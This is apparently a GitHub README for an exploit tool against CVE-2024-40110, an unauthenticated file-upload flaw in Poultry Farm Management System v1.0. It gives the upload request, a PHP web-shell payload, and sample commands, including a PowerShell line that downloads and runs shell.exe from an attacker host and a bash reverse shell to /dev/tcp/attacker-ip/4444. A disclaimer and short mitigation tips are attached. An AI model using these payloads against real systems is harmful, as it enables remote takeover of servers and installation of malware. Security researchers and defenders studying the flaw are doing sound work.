angry-althaf/cve-2024-40110Exploit for CVE-2024-40110, an unauthenticated file upload RCE in Poultry Farm Management System v1.0. Uploads a PHP shell to execute arbitrary commands on the target.
Unauthenticated File Upload with Remote Code Execution
The Poultry Farm Management System v1.0 contains a critical vulnerability in the product upload functionality. The application fails to properly validate and sanitize file uploads, allowing attackers to upload PHP files disguised as product images. These uploaded PHP files can be executed to achieve remote code execution.
POST /paultry/farm/product.php or POST /farm/product.php
The vulnerability can be exploited by:
requests librarycolorama library (for colored output)pip install requests colorama
Or install all dependencies:
pip install -r requirements.txt
Run the script interactively:
python exploit.py
The script will prompt you for:
==================================================
Interactive Backdoor Upload Tool
==================================================
Enter target IP address: 192.168.1.100
Enter target port (default: 80): 8080
Enter command to execute (default: powershell payload):
Command: whoami
==================================================
CONFIRMATION
==================================================
Target URL: http://192.168.1.100:8080
Command: whoami
Do you want to proceed? (yes/no): yes
✅ Interactive Input - Prompts for IP, port, and custom commands
✅ Default Values - Sensible defaults for convenience
✅ Color-Coded Output - Easy-to-read colored terminal output
✅ Confirmation Step - Verify settings before execution
✅ Error Handling - Graceful error messages for failed requests
✅ Flexible Commands - Support for any shell command or PowerShell payload
powershell -Command "Invoke-WebRequest http://attacker-ip:8787/shell.exe -OutFile shell.exe; Start-Process shell.exe"
bash -i >& /dev/tcp/attacker-ip/4444 0>&1
whoami
id
ifconfig
hostname
pwd
/assets/img/productimages/system() functionPOST /paultry/farm/product.php
Content-Type: multipart/form-data
category=CHICKEN
product=rce
price=100
save=
productimage=[PHP_PAYLOAD]
<?php system('COMMAND_HERE');?>
The exploit was tested on:
⚠️ LEGAL WARNING
This tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal.
Update Software - Apply security patches if available
File Upload Validation
Configuration
<Directory /uploads>
php_flag engine off
AddType text/plain .php .phtml .php3 .php4 .php5 .phar
</Directory>
Access Control
Monitoring
Error: Connection refused
Solution: Verify the target IP and port are correct and the application is running
Error: Failed to upload shell. Status code: 404
Solution: The endpoint path may differ. Common paths: /farm/, /paultry/farm/
Error: Command output is empty
Solution: PHP execution may be disabled or the file wasn't uploaded correctly
For issues, questions, or improvements, refer to the GitHub repository or Exploit-DB page.
Last Updated: December 2024
Status: Verified and Tested